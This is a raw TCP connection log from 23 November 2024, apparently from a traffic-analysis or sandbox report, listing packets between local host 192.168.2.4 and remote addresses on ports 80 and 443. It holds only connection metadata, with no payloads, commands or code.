Nov 23, 2024 03:21:16.489320993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.490313053 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.490422964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.490478992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.491452932 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.491580963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.491631985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.492590904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.492646933 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.492707968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.492750883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.493730068 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.493777037 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.493846893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.493891001 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.494847059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.494961023 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.494971991 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.495008945 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.496000051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.496047020 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.496084929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.496129990 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.497155905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.497220039 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.497250080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.497292995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.498291969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.498336077 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.498397112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.498440027 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.499430895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.499475956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.499502897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.499546051 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.500569105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.500612020 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.500670910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.500715017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.501696110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.501740932 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.501810074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.501854897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.502840996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.502886057 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.502957106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.502999067 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.503982067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.504026890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.504090071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.504132986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.505100965 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.505148888 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.505208015 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.505249977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.506294012 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.506336927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.506453991 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.506495953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.507392883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.507456064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.507491112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.507535934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.508542061 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.508584976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.508632898 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.508675098 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.509660006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.509702921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.509763956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.509808064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.510803938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.510848999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.510927916 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.510972023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.511972904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.512017965 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.512077093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.512119055 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.513102055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.513149977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.513206005 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.513248920 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.514219999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.514259100 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.514333963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.514377117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.515377998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.515424013 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.515480995 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.515522003 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.516504049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.516546965 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.516609907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.516653061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.517652035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.517713070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.517750025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.517792940 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.518779039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.518824100 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.518882990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.518927097 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.520003080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.520020962 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.520045996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.520057917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.521069050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.521114111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.521179914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.521224022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.522141933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.522186041 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.561580896 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.561639071 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.561861038 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.561913013 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.561947107 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.561973095 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.562002897 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.564003944 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.564057112 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.564136982 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.564266920 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.564292908 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.568993092 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.569164038 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.569222927 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.569255114 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.569255114 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.569271088 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.569295883 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.571151972 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.571187973 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.571268082 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.571393013 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.571422100 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.663700104 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.663749933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.663963079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.664207935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.664258957 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.664346933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.665349960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.665396929 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.665467024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.666495085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.666541100 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.666543961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.666585922 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.667637110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.667747974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.667797089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.668768883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.668893099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.668960094 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.669895887 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.669946909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.670006990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.670614004 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.671036959 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.671149969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.671201944 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.672204018 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.672316074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.672374010 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.673346043 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.673415899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.673454046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.674455881 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.674510956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.674582958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.675605059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.675656080 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.675718069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.676743984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.676796913 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.676832914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.677881002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.677934885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.677959919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.677999020 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.681919098 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.681931019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.681941032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.681952000 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.681979895 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.682034016 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.682241917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.682408094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.682451010 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.683437109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.683607101 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.683656931 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.684547901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.684595108 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.684694052 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.685179949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.685741901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.685753107 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.685791016 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.686821938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.686867952 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.686959982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.687004089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.687371969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.687385082 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.687418938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.688112020 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.688158989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.688209057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.688256025 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.689253092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.689296007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.689352036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.689398050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.690402985 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.690449953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.690509081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.690550089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.691550970 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.691600084 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.691658974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.691703081 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.692682028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.692727089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.692784071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.692828894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.693811893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.693876982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.693912983 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.693957090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.694950104 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.694993973 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.695106030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.695148945 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.696088076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.696136951 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.696191072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.696233988 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.697227955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.697273016 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.697325945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.697367907 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.698367119 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.698412895 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.698462009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.698508024 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.699506044 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.699549913 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.699604988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.699649096 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.700632095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.700676918 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.700746059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.700788975 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.701776028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.701821089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.701891899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.701935053 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.702915907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.702961922 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.703025103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.703068018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.704052925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.704116106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.704153061 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.704196930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.705192089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.705238104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.705297947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.705343962 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.706326962 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.706371069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.706445932 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.706490040 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.707473040 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.707520962 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.707576036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.707617998 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.708609104 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.708652973 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.708692074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.708734989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.709755898 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.709800005 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.709860086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.709903955 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.710887909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.710933924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.710995913 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.711038113 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.712029934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.712075949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.712136984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.712182045 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.713165998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.713213921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.713279009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.713320971 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.714303017 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.714365959 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.714422941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.714466095 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.715444088 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.715490103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.715528965 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.715572119 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.716579914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.716638088 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.716672897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.716715097 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.717720032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.717762947 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.717823982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.717866898 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.718853951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.718902111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.718950987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.718995094 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.719994068 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.720036983 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.720105886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.720144987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.721127987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.721174002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.721246004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.721288919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.722266912 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.722311020 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.722383976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.722425938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.723393917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.723439932 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.865017891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.865072966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.865112066 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.865156889 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.890695095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.890763044 CET	49760	80	192.168.2.4	31.41.244.11
